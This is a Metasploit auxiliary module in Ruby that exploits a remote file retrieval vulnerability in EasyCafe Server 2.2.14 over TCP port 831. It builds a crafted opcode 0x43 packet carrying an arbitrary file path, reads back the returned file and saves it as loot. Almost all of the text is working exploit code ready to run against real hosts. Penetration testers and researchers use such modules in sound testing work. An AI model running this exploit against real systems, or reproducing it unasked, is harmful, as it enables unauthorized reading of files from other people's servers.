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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'EasyCafe Server Remote File Access',
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      'Description' => %q{
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          This module exploits a file retrieval vulnerability in
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        EasyCafe Server. The vulnerability can be triggered by
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        sending a specially crafted packet (opcode 0x43) to the
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        831/TCP port.
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        This module has been successfully tested on EasyCafe Server
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        version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3
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        and Windows 7 SP1.
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        Note that the server will throw a popup messagebox if the
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        specified file does not exist.
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      },
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      'License'     => MSF_LICENSE,
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      'Author'      =>
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        [
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          'R-73eN', # Vulnerability Discovery
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          'bcoles' # Metasploit module
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        ],
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      'References'  =>
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        [
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          [ 'EDB', '39102' ]
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        ]
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    ))
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    register_options(
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      [
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        Opt::RPORT(831),
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        OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts'])
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      ])
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  end
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  def get_file
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    res = sock.get_once
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    unless res
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      print_error("Unable to retrieve file due to a timeout.")
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      return
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    end
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    unless res.length == 261
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      print_error("Received a response of an invalid size.")
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      return
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    end
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    file_size = res.unpack('@256V')[0]
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    contents = ''
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    while contents.length < file_size
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      contents << sock.get_once
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    end
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    print_good("File retrieved successfully (#{contents.length} bytes)!")
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    contents
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  end
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  def run_host(ip)
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    file_path = datastore['FILEPATH']
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    if file_path.length > 67
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      print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")
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      return
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    end
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    packet = "\x43"
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    packet << file_path
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    packet << "\x00" * (255 - file_path.length)
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    packet << "\x01\x00\x00\x00\x01"
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    vprint_status("Sending request (#{packet.length} bytes)")
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    connect
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    sock.put(packet)
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    contents = get_file
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    disconnect
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    return if contents.nil?
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    path = store_loot(
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      'easycafe_server',
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      'application/octet-stream',
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      ip,
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      contents,
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      File.basename(file_path)
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    )
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    print_status("File saved in: #{path}")
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  end
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end
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